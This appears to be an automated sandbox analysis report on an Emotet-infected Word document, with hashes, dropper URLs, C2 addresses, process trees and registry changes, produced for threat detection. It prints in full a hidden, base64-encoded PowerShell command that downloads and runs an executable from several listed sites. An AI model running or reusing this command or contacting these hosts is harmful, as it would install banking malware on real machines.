emotet | ecdf26dffbf572bde7ae3b7fbc4f92e958dcf41f047a8af086e131173c49090d

Analysis

max time kernel
149s
max time network
121s
platform
windows7_x64
resource
win7v200217
submitted
19-02-2020 13:59

Sharing

Copy URL

Twitter E-mail

General

Target

2020-01-17_132112.doc
Size

253KB
MD5

e3fec794dd695cb54ec929807d6c6c96
SHA1

e055054e0f82f39eeaa66289d1f4b468fc1f7f69
SHA256

fa9a0d9228b8b9f169ff70c2abfa05e5f83b4fc537aa3e4cfc3e538fd669de00
SHA512

4f9a7a3f8a2d55fc6bbe2e980607afd8a5170ab2997ec81a265d058e99188f8065751a194d64fc00327e22da37a56d146f241c95268088f724ee4773685ef830

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://oniongames.jp/contact/iY/

exe.dropper

http://pmthome.com/posta/dr3zxa/

exe.dropper

http://urgeventa.es/img/k35d9q/

exe.dropper

https://solmec.com.ar/sitio/nTXZomKCx/

exe.dropper

https://tiagocambara.com/cgi-bin/s96/

Extracted

Family

emotet

100.6.23.40:80

200.71.200.4:443

190.114.244.182:443

91.250.96.22:8080

37.187.72.193:8080

104.131.44.150:8080

167.71.10.37:8080

110.36.217.66:8080

206.81.10.215:8080

93.147.141.5:443

60.250.78.22:443

92.222.216.44:8080

95.213.236.64:8080

27.109.153.201:8090

66.7.242.50:8080

5.196.74.210:8080

181.143.126.170:80

209.97.168.52:8080

206.189.112.148:8080

64.53.242.181:8080

rsa_pubkey.plain

Signatures

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1840 WINWORD.EXE
Suspicious use of SetWindowsHookEx 6 IoCs

Processes:

WINWORD.EXE593.exe593.execomponappid.execomponappid.exe

pid process

1840 WINWORD.EXE
1840 WINWORD.EXE
972 593.exe
324 593.exe
1632 componappid.exe
1620 componappid.exe

pid	process
1840	WINWORD.EXE

pid	process
1840	WINWORD.EXE
1840	WINWORD.EXE
972	593.exe
324	593.exe
1632	componappid.exe
1620	componappid.exe

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

Powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1992	1956	Powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

Powershell.exe

description pid process

Token: SeDebugPrivilege 1992 Powershell.exe
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

Powershell.execomponappid.exe

pid process

1992 Powershell.exe
1992 Powershell.exe
1992 Powershell.exe
1620 componappid.exe
1620 componappid.exe
Blacklisted process makes network request 2 IoCs

Processes:

Powershell.exe

flow pid process

4 1992 Powershell.exe
6 1992 Powershell.exe

description	pid	process
Token: SeDebugPrivilege	1992	Powershell.exe

pid	process
1992	Powershell.exe
1992	Powershell.exe
1992	Powershell.exe
1620	componappid.exe
1620	componappid.exe

flow	pid	process
4	1992	Powershell.exe
6	1992	Powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

Powershell.exe593.execomponappid.exe

description	pid	process	target process
PID 1992 wrote to memory of 972	1992	Powershell.exe	593.exe
PID 1992 wrote to memory of 972	1992	Powershell.exe	593.exe
PID 1992 wrote to memory of 972	1992	Powershell.exe	593.exe
PID 1992 wrote to memory of 972	1992	Powershell.exe	593.exe
PID 972 wrote to memory of 324	972	593.exe	593.exe
PID 972 wrote to memory of 324	972	593.exe	593.exe
PID 972 wrote to memory of 324	972	593.exe	593.exe
PID 972 wrote to memory of 324	972	593.exe	593.exe
PID 1632 wrote to memory of 1620	1632	componappid.exe	componappid.exe
PID 1632 wrote to memory of 1620	1632	componappid.exe	componappid.exe
PID 1632 wrote to memory of 1620	1632	componappid.exe	componappid.exe
PID 1632 wrote to memory of 1620	1632	componappid.exe	componappid.exe

Executes dropped EXE 4 IoCs

Processes:

593.exe593.execomponappid.execomponappid.exe

pid process

972 593.exe
324 593.exe
1632 componappid.exe
1620 componappid.exe
Suspicious behavior: EmotetMutantsSpam 2 IoCs

Processes:

593.execomponappid.exe

pid process

324 593.exe
1620 componappid.exe

pid	process
972	593.exe
324	593.exe
1632	componappid.exe
1620	componappid.exe

pid	process
324	593.exe
1620	componappid.exe

Modifies registry class 280 IoCs

Processes:

WINWORD.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{47FF8FE2-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{04598FC8-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLOption"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLSelect"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}\ = "MultiPageEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{EB0A701E-CD1E-48B7-815C-7D672145F257}\2.0\HELPDIR\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\VBE"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{82B02371-B5BC-11CF-810F-00A0C9030074}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8A683C90-BA84-11CF-8110-00A0C9030074}\ = "IReturnSingle"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcText"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}\ = "MdcCheckBoxEvents"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{EB0A701E-CD1E-48B7-815C-7D672145F257}	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{EB0A701E-CD1E-48B7-815C-7D672145F257}\2.0\FLAGS\ = "6"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8A683C90-BA84-11CF-8110-00A0C9030074}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}\ = "IControl"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{29B86A70-F52E-11CE-9BCE-00AA00608E01}\ = "IOptionFrame"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcList"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{04598FC3-866C-11CF-AB7C-00AA00C08FCF}\ = "IScrollbar"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{EB0A701E-CD1E-48B7-815C-7D672145F257}\2.0\ = "Microsoft Forms 2.0 Object Library"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcCombo"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents10"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{EB0A701E-CD1E-48B7-815C-7D672145F257}\2.0	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776}\ = "ISpinbutton"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents4"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D53-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}\ = "LabelControlEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}\ = "MdcToggleButtonEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{29B86A70-F52E-11CE-9BCE-00AA00608E01}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8BD21D53-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{944ACF93-A1E6-11CE-8104-00AA00611080}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLReset"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8A683C91-BA84-11CF-8110-00A0C9030074}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcText"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}\ = "OptionFrameEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{4C599243-6926-101B-9992-00000B65C6F9}\ = "IImage"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLCheckbox"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8BD21D22-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D32-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB}\ = "Font"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8A683C91-BA84-11CF-8110-00A0C9030074}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}\ = "ControlEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}\ = "ILabelControl"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{47FF8FE2-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents3"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents6"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{92E11A03-7358-11CE-80CB-00AA00611080}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\TypeLib\{EB0A701E-CD1E-48B7-815C-7D672145F257}\2.0\0	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE

Drops file in System32 directory 3 IoCs

Processes:

Powershell.exe593.execomponappid.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	Powershell.exe
File renamed	C:\Users\Admin\593.exe => C:\Windows\SysWOW64\componappid.exe	593.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	componappid.exe

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet
Office loads VBA resources, possible macro or embedded object present

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2020-01-17_132112.doc"
1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Modifies registry class
PID:1840

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABLAHEAbABkAGYAbQBiAHYAcgA9ACcAWABpAGQAdgBvAHIAYgBrAGsAYwBnAHQAYQAnADsAJABGAHkAbQBiAGgAeQBlAHgAbQBoACAAPQAgACcANQA5ADMAJwA7ACQATgBuAHIAZwBxAGkAawBrAGYAcQB5AD0AJwBCAGoAcwBwAGMAcABzAGUAYwBxAGYAJwA7ACQATwBzAHgAagBzAHUAdgBiAGIAeAB6AGMAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEYAeQBtAGIAaAB5AGUAeABtAGgAKwAnAC4AZQB4AGUAJwA7ACQAUQBlAGUAdwBsAG8AaAB2AG4AaAB6AGoAZwA9ACcAVABxAHkAdABqAHgAaQB0AG8AZAB4AHoAZgAnADsAJABQAHYAcQBrAHIAbgBvAGEAbwA9ACYAKAAnAG4AZQB3AC0AbwBiACcAKwAnAGoAZQBjACcAKwAnAHQAJwApACAAbgBFAFQALgBXAGUAYgBjAEwASQBFAG4AdAA7ACQARgBrAG0AbgBnAGkAdABnAGEAPQAnAGgAdAB0AHAAOgAvAC8AbwBuAGkAbwBuAGcAYQBtAGUAcwAuAGoAcAAvAGMAbwBuAHQAYQBjAHQALwBpAFkALwAqAGgAdAB0AHAAOgAvAC8AcABtAHQAaABvAG0AZQAuAGMAbwBtAC8AcABvAHMAdABhAC8AZAByADMAegB4AGEALwAqAGgAdAB0AHAAOgAvAC8AdQByAGcAZQB2AGUAbgB0AGEALgBlAHMALwBpAG0AZwAvAGsAMwA1AGQAOQBxAC8AKgBoAHQAdABwAHMAOgAvAC8AcwBvAGwAbQBlAGMALgBjAG8AbQAuAGEAcgAvAHMAaQB0AGkAbwAvAG4AVABYAFoAbwBtAEsAQwB4AC8AKgBoAHQAdABwAHMAOgAvAC8AdABpAGEAZwBvAGMAYQBtAGIAYQByAGEALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBzADkANgAvACcALgAiAFMAcABMAGAASQBUACIAKAAnACoAJwApADsAJABYAG0AdgB0AHMAZgBmAGoAZgBqAD0AJwBOAGIAcwBmAHYAYQB2AGsAbQBzAGwAYgAnADsAZgBvAHIAZQBhAGMAaAAoACQAUQB0AHkAawBtAGcAcAB5AHkAYwB6AHkAIABpAG4AIAAkAEYAawBtAG4AZwBpAHQAZwBhACkAewB0AHIAeQB7ACQAUAB2AHEAawByAG4AbwBhAG8ALgAiAGQAYABPAFcAbgBsAG8AYQBgAEQAZgBJAGwARQAiACgAJABRAHQAeQBrAG0AZwBwAHkAeQBjAHoAeQAsACAAJABPAHMAeABqAHMAdQB2AGIAYgB4AHoAYwApADsAJABMAHEAcwBuAG8AYwBpAGMAawA9ACcATQB3AHIAbgBoAHMAawB6AGUAdQBzACcAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQATwBzAHgAagBzAHUAdgBiAGIAeAB6AGMAKQAuACIAbABgAGUATgBnAGAAVABoACIAIAAtAGcAZQAgADMANgA5ADUAMgApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAGAAVABBAFIAdAAiACgAJABPAHMAeABqAHMAdQB2AGIAYgB4AHoAYwApADsAJABaAGoAYwB5AGUAYgB0AHUAPQAnAFAAcQByAHYAaABrAGwAcQBlAHIAaQBlACcAOwBiAHIAZQBhAGsAOwAkAEYAegBiAGIAdQBuAHQAdQB1AGwAcABzAGcAPQAnAE0AdQBzAG0AeAB4AHEAYgBvACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEoAYgByAGgAdAB2AGcAZgB0AGYAegBzAD0AJwBCAHYAdgBnAGcAcABkAGkAawBzAHcAcQByACcA
1⤵
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Suspicious use of WriteProcessMemory
- Drops file in System32 directory
PID:1992

C:\Users\Admin\593.exe
"C:\Users\Admin\593.exe"
2⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
PID:972

C:\Users\Admin\593.exe
--da91804d
3⤵
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Suspicious behavior: EmotetMutantsSpam
- Drops file in System32 directory
PID:324

C:\Windows\SysWOW64\componappid.exe
"C:\Windows\SysWOW64\componappid.exe"
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
PID:1632

C:\Windows\SysWOW64\componappid.exe
--b9a13384
2⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
- Suspicious behavior: EmotetMutantsSpam
- Drops file in System32 directory
PID:1620

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\593.exe

Download Submit
C:\Users\Admin\593.exe

Download Submit
C:\Users\Admin\593.exe

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1848298919-2336104428-4012071465-1000\0f5007522459c86e95ffcc62f32308f1_cb3421d8-e2c8-4b12-9d02-76148b2a4ecf

Download Submit
C:\Windows\SysWOW64\componappid.exe

Download Submit
C:\Windows\SysWOW64\componappid.exe

Download Submit
memory/324-13-0x0000000000260000-0x0000000000277000-memory.dmp

Filesize
92KB

Download
memory/324-14-0x0000000000400000-0x000000000045A000-memory.dmp

Filesize
360KB

Download
memory/972-9-0x00000000002A0000-0x00000000002B7000-memory.dmp

Filesize
92KB

Download
memory/1620-18-0x00000000004E0000-0x00000000004F7000-memory.dmp

Filesize
92KB

Download
memory/1620-19-0x0000000000400000-0x000000000045A000-memory.dmp

Filesize
360KB

Download
memory/1632-16-0x00000000004C0000-0x00000000004D7000-memory.dmp

Filesize
92KB

Download
memory/1840-2-0x0000000008950000-0x0000000008954000-memory.dmp

Filesize
16KB

Download
memory/1840-7-0x000000000AE60000-0x000000000AE64000-memory.dmp

Filesize
16KB

Download
memory/1840-6-0x000000000AE60000-0x000000000AE64000-memory.dmp

Filesize
16KB

Download